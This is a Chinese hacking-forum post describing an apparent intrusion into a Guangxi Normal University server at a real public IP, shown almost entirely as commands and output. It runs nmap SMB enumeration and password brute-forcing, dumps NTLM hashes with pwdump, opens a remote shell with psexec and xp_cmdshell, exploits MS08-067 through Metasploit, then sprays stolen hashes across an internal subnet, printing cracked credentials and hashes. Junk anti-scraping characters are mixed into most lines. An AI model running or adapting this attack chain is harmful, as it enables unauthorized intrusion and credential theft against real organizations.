中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]

---

作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/

/ L& c( W0 d- C/ K4 v1 {1 z' C- }) sroot@bt:~# nmap -sS -sV 202.103.242.241

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST

) D, U( n) y5 J4 |4 T4 nNmap scan report for bogon (202.103.242.241)
' F6 d2 X0 A# P" K  N7 }
: ^( c% n$ M: j/ l/ pHost is up (0.00048s latency).

Not shown: 993 closed ports

0 g- L3 `$ n2 J/ s+ kPORT     STATE SERVICE       VERSION

) h, t: v5 V" r, U* S135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

7 W: h" s7 D; ~6 V, w, q139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
8 ~7 w7 q; W- [# M' b
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

( k# }+ O5 S& I5 `0 p! U1026/tcp open  msrpc         Microsoft Windows RPC

' P. g; ^. O! [# c3372/tcp open  msdtc?

3389/tcp open  ms-term-serv?

' K& J* s" f" i% r; I: _1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
* c6 }0 N, m: Y! [
) J7 n% g! D6 W( V+ k/ hSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)

SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
9 Y  t2 b2 G+ C- m1 g8 Z0 _$ M2 n9 g6 d
SF:ptions,6,”hO\n\x000Z”);

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
  m: C  g* @+ ^% J$ m; S
7 y+ o( R9 Q5 y3 YService Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
! r& \6 e7 n/ l
2 V! `/ o- z* k6 o  }" Yroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
+ c) r$ ~) o2 {2 Y
6 m. k2 c! i5 V$ }5 v# h* @3 X( [-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
5 B  |: ]) M9 u. v' M3 R% Z
-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse
$ ?% Q' |; t) N8 J( [
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse

: @: m7 S; E% t" {9 k3 c-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse

7 w( O- X7 Z, O/ o+ m-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse

-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse

-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
; {0 W" F  W( H; ^- J
2 \. x  k; b3 @-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
( M( c* Y2 X+ r3 B% V4 f( {5 \! e
-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
8 O3 z. B7 C3 n6 J6 |
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
* K4 G/ T) u. l& D, Q3 w# l
# Q1 e% |' O3 d; u, }: {-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
2 c4 T1 B" C6 s- r% [
$ w0 l. k1 k+ ^) e4 |-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse

-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
' q. j/ ^1 K% t4 S- N. v
-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
) B4 U8 h+ R& q3 o' N- L
( ^$ O, k. ?6 M! R4 Zroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   

: Q$ p' o$ w+ j0 \  t4 t0 T//此乃使用脚本扫描远程机器所存在的账户名

( D9 J9 m; f3 _' K' t) YStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
- q% G2 W( ~7 p- f! e# W
Nmap scan report for bogon (202.103.242.241)

Host is up (0.00038s latency).
9 v+ r3 c+ \0 R/ g0 e3 p4 J, S
6 t3 Q3 z! T4 m: W( N; pNot shown: 993 closed ports

PORT     STATE SERVICE
3 I9 {8 ~1 I0 x) W1 F. l* r
135/tcp  open  msrpc
  z. M/ u- f& V. h
139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds
0 n( ]& |+ J. o/ I+ a: k
1025/tcp open  NFS-or-IIS

7 a! g8 Y: m* ]" l! O1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc
/ z8 h. p0 d, S% x9 C3 }
; c( A1 ]+ d& c3389/tcp open  ms-term-serv

  w0 w9 `9 C" X+ }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
- I6 d1 M7 N, a" e
| smb-enum-users:
' G; l7 c2 Q( L, l
; L/ Z! Z4 B$ l- r0 ?0 c|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
$ X9 v# }4 [' |  L! G
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
; y0 @. x  ]* s( n' W
+ X0 w# ]1 [$ Uroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241

$ ~& ]9 ^$ `! w6 d' L& D//查看共享
- M' w) x' [+ T( Q0 w1 `
; x! G* |) A0 b$ _  p5 K, QStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST

2 }& \' ]  j' \+ |* I8 @" XNmap scan report for bogon (202.103.242.241)

2 [, K+ [. W  K$ p3 d8 OHost is up (0.00035s latency).
/ S% E: O; [: m. X
5 Z2 q6 e/ p+ H) M- [% d/ vNot shown: 993 closed ports
% e& m9 Q) E4 I8 ?
PORT     STATE SERVICE

135/tcp  open  msrpc
) C2 J  \  B& v! j2 M' [
9 n8 p0 u% M4 G2 E1 g( E139/tcp  open  netbios-ssn
3 p7 M5 }0 N- W: q! M' _+ y: ?
445/tcp  open  microsoft-ds
1 U6 e( y) j+ j9 ~% p7 N6 T/ E
* J7 p9 P1 i* Y* @4 c2 `1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm
  x. `% N( v& J# B% p% j+ v
; W: t# F0 ?' e6 F1 \* c) q4 c3372/tcp open  msdtc

6 [' l" k# p% V  P3389/tcp open  ms-term-serv
) R' c* i" [4 {
- j7 S  _0 _% S) X: D! C: n0 yMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
1 S2 C2 v# I+ }' K/ d
| smb-enum-shares:

  [; ^; w0 n5 I. B+ S0 O& v3 Z|   ADMIN$

" e5 d- }5 M6 j' H/ `|     Anonymous access: <none>
7 F) j8 d4 |; t' T5 W3 E
6 ?2 ]0 g8 L" D1 N) Y* H|   C$
% V  |, E% C3 d0 Y1 ^
|     Anonymous access: <none>

|   IPC$
/ O0 @& @. t9 N; s0 p2 ?- U/ @
" e- s1 s! T+ v- S4 J  ]/ ~1 R3 J|_    Anonymous access: READ

' y7 E; f9 z) _3 m6 RNmap done: 1 IP address (1 host up) scanned in 1.05 seconds

7 Y) |, x9 L0 j, iroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      

* Q) W) ~# p- l* o2 o//获取用户密码
( O; u, g# V' O: A
. Q, D" F4 Z3 S9 e6 v  p0 vStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

7 Y/ K) \# F7 T" P% f8 A, iNmap scan report for bogon (202.103.242.2418)

Host is up (0.00041s latency).

4 {4 R- j% N# y/ D) J% KNot shown: 993 closed ports
5 o8 n% n; X: h  t) C/ f0 b
PORT     STATE SERVICE

, t, s" S, I4 e" f" l# m0 P; ^135/tcp  open  msrpc
9 m1 h$ U7 i0 i# d
& `1 m) p4 G3 K/ L% w139/tcp  open  netbios-ssn
4 a" \) Y- v4 u- [: A1 w
: r* Y( r4 ^. Y' |7 l1 p445/tcp  open  microsoft-ds
9 h4 C! a: A1 C  N$ G; l: D
' A( M8 z4 \+ i% H5 E) B( W1025/tcp open  NFS-or-IIS

$ J& U! Z4 O- ?1 ^1026/tcp open  LSA-or-nterm
  ?3 ~/ X2 v: i7 G* r
$ O* }$ j' s2 n& W8 Y. l+ [3372/tcp open  msdtc
/ ?" Q! d+ h+ m  j' ?
3389/tcp open  ms-term-serv
8 G+ R% z0 Y% t- _8 J3 K
- E. W3 t0 Q5 `. UMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

# L/ y" E9 Z6 z. N4 c3 zHost script results:
+ P# m7 r$ \/ g/ z3 U+ N6 Y3 T: m3 ~, K
. r! F2 [2 N, J! E| smb-brute:
+ z  ]( {7 k# x! Q
administrator:<blank> => Login was successful

3 K$ Q1 X  s8 m$ e# \|_  test:123456 => Login was successful
1 K4 p; {0 i2 {
6 q, K9 C" ~' y6 C; ?: dNmap done: 1 IP address (1 host up) scanned in 28.22 seconds

9 i, e8 _& J9 k5 O$ Z" Wroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
4 f  D4 V4 n5 ~4 B( ^1 o$ f2 h5 l; l
6 l% N; O) z% R6 j; Proot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data

' q+ X' Z" E1 I0 Broot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
+ U- g; n  }' r1 x0 {
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139

$ q$ A+ T6 G4 l9 x( tStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST

Nmap scan report for bogon (202.103.242.241)
* s! K5 N' y2 Y  b1 B
Host is up (0.0012s latency).
: |# q! c' L7 m( {: ]& K- T
PORT    STATE SERVICE

135/tcp open  msrpc

139/tcp open  netbios-ssn

5 e$ ^* a. }4 w6 z! k: r- @3 W445/tcp open  microsoft-ds
+ P; K7 l$ Y5 B5 k
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

+ C) y) V0 c  H1 E2 {! kHost script results:
/ V! v2 f' X7 `6 v
| smb-pwdump:

| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
& O' {  M+ P0 |& ]
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
' N9 f0 D% r7 _9 ^! q% d' o
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4

& Z$ R8 j1 D" Z! g/ P4 y( l7 G5 D|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
& {  X, ]+ C+ `7 j; |3 z% P
6 p$ V! `' G* {, m5 hNmap done: 1 IP address (1 host up) scanned in 1.85 seconds

8 O) g2 K9 c4 w4 k+ yC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell
3 }, N) n0 V# ?0 c7 u
# w( R/ i3 G* k# _, f4 M! C-p 123456 -e cmd.exe

PsExec v1.55 – Execute processes remotely

- p/ }; h: e) Z( L- m! ?. \Copyright (C) 2001-2004 Mark Russinovich

Sysinternals – www.sysinternals.com
! P3 O0 T7 m+ }# v3 V/ j# s+ j' @
" h! q+ e/ [# F$ {" G4 mMicrosoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.
/ S& N+ l/ M7 k' O" _. p% i
C:\WINNT\system32>ipconfig

Windows 2000 IP Configuration

% _8 j) J1 M1 Y8 j" @Ethernet adapter 本地连接:
" b; d5 k3 @, h
1 E6 T' [" Y" D8 H- m6 OConnection-specific DNS Suffix  . :
/ a" }& M5 @1 b: }# g+ ^* }) ]
IP Address. . . . . . . . . . . . : 202.103.242.241
! R* x! w3 U! d9 {8 i7 ~2 K
) e3 k! U+ `: O. L4 tSubnet Mask . . . . . . . . . . . : 255.255.255.0
0 j; l- y) B- p4 X# [
Default Gateway . . . . . . . . . : 202.103.1.1

1 O: P! a, t* P) D- V; LC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

& _0 y& c) _+ b1 x+ i, Yroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST

/ I' d( h& n8 Q/ M/ hNmap scan report for bogon (202.103.242.241)

1 ]* b3 H6 ]( b. j( c) {Host is up (0.00046s latency).

Not shown: 993 closed ports

( J+ q( _7 U9 R, L4 z4 NPORT     STATE SERVICE
& j! Z  O, ?! w7 g1 s' \
135/tcp  open  msrpc
0 @. b( \7 f+ A) u; t
139/tcp  open  netbios-ssn
% K' ?: Z! i  ?: i; W1 P
445/tcp  open  microsoft-ds
4 |+ Y8 C5 \% ]$ S- j. o
2 m* {5 M' ?0 n4 Y" e- b* g1025/tcp open  NFS-or-IIS
! Z  _8 x. Z0 r9 ~) R* ~& O1 J% H
: U, |+ S; f  X2 M% R0 l+ P1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc
  s% y" d7 m& V  e- H4 R5 y
3389/tcp open  ms-term-serv
! s0 g8 W: {- @) h  e- |" _- m0 `6 b
( B" o$ |- q8 C! ?( f( q" kMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
$ R9 i& a" v0 {/ S  ^
| smb-check-vulns:
% h3 `5 g. w  S5 K+ N- ]
+ Y# E1 a- `' @# G% a9 Y# @|_  MS08-067: VULNERABLE

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
6 Q& U" d" u/ K' g8 T, K
% c4 c- h* U  k* |7 U' ^( @0 Qroot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
/ s2 i6 |! T! z3 B& ?
/ p; [" Z/ S! tmsf > search ms08
3 H% h9 O7 q* C% m) _2 ^. o& r
" S" |. x: P- J% Smsf > use exploit/windows/smb/ms08_067_netapi
. L: o' E1 n$ W- Q2 u
msf  exploit(ms08_067_netapi) > show options

msf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241

msf  exploit(ms08_067_netapi) > show payloads
0 [; @$ N1 p3 N7 g
. }) l3 d1 ]8 N3 T: v) Xmsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

msf  exploit(ms08_067_netapi) > exploit

3 K+ ?- d, D( U0 u) Z' ~) w* Wmeterpreter >

+ F$ g; e; u6 R, e# N6 _$ BBackground session 2? [y/N]  (ctrl+z)

! w  o4 F0 M$ q6 ~msf  exploit(ms08_067_netapi) > sessions -l
" a& \9 x6 P+ ?8 \* o) S, m. h( j- |
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
% i( [7 ^$ M" b7 o6 a5 D
test
/ M9 C3 d+ x: [
# }- b7 Z, t. i. aadministrator
* v+ S( c! D- l1 d* G+ ~
% }3 @0 j2 ?/ N  iroot@bt:/usr/local/share/nmap/scripts# vim password.txt

1 _$ z* Q( o. O7 T+ B44EFCE164AB921CAAAD3B435B51404EE
( r& A* r2 G- C) B- h/ k
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
1 s: h- d8 Z# i; |; J8 [
//利用用户名跟获取的hash尝试对整段内网进行登录
' m3 a/ K% m4 X& s5 v/ E  i
Nmap scan report for 192.168.1.105

1 y& D4 V0 ^* s  ~8 U1 H+ ?$ U9 O# HHost is up (0.00088s latency).

2 p- ^  I7 _2 h' jNot shown: 993 closed ports
% d; m+ e; Y# O, J
PORT     STATE SERVICE

+ E/ P% _) h0 `% J* L* H135/tcp  open  msrpc

7 T7 a5 p0 M3 P- n. ]139/tcp  open  netbios-ssn
" Z2 U7 J$ n* {" e
; @( D4 d% D* I445/tcp  open  microsoft-ds
9 h5 f6 D0 F( o: o. {
$ ]7 G; g! t' `4 k& X- n1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm

( B% Z. p/ W2 \" V2 W3372/tcp open  msdtc

3389/tcp open  ms-term-serv

2 d8 d, y+ `% d* l6 Y4 @2 YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- x% z4 D$ ^3 e* R+ w
0 O' A% {- s. |+ J! uHost script results:
6 c' [9 @0 s2 M: ]; m# w. {
| smb-brute:

|_  administrator:<blank> => Login was successful
% \& S7 l3 l& Y3 ]; u& R: a1 c4 k
& s% ~; k( F, L8 X6 \- _7 W. h- \( D攻击成功，一个简单的msf+nmap攻击~~·

7 \3 r; U6 o1 U  ~+ E, V6 r* S2 I

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2